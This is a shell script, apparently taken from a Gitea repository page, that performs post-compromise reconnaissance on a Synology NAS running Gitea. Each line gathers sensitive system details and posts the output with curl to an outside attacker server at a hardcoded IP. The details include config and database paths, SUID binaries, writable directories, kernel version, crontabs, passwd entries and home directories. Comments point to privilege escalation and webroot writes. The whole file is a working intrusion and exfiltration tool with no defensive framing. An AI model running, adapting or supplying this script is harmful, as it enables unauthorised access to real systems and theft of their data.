34 lines
2.4 KiB
Bash
Executable File
34 lines
2.4 KiB
Bash
Executable File
#!/bin/sh
|
|
# Find actual gitea config
|
|
find /volume1/@appdata/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini
|
|
find /volume1/@apphome/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini2
|
|
find /var/packages/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini3
|
|
# Synology tools
|
|
ls -la /usr/syno/bin/ 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/syno_bin
|
|
which synosudo 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synosudo_which
|
|
ls -la /usr/syno/bin/synosudo 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synosudo_ls
|
|
# SUID bins
|
|
find / -perm -4000 -type f -ls 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/suid_full
|
|
# Writable dirs
|
|
find /tmp -type d -writable 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/writable_tmp
|
|
ls -la /volume1/@apptemp/gitea/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/apptemp
|
|
# Gitea DB
|
|
find /volume1/@appdata/gitea -name 'gitea.db' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_db
|
|
find /volume1/@appdata/gitea -name '*.db' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_all_db
|
|
ls -la /volume1/@appdata/gitea/data/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_data
|
|
# Volume1 structure
|
|
ls -la /volume1/@appdata/ 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/appdata_ls
|
|
# Check if we can write to webroot
|
|
ls -la /volume1/@apphome/gitea/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/apphome
|
|
ls -la /volume1/web/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/web
|
|
# Kernel exploits
|
|
uname -a 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/uname
|
|
cat /proc/version 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/proc_version
|
|
# Cron
|
|
cat /etc/crontab 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/crontab
|
|
crontab -l 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cron_user
|
|
# Syno sc- accounts
|
|
cat /etc/passwd | grep sc- | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/sc_accounts
|
|
# Check other git-shell users homes
|
|
ls -la /volume1/homes/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/homes
|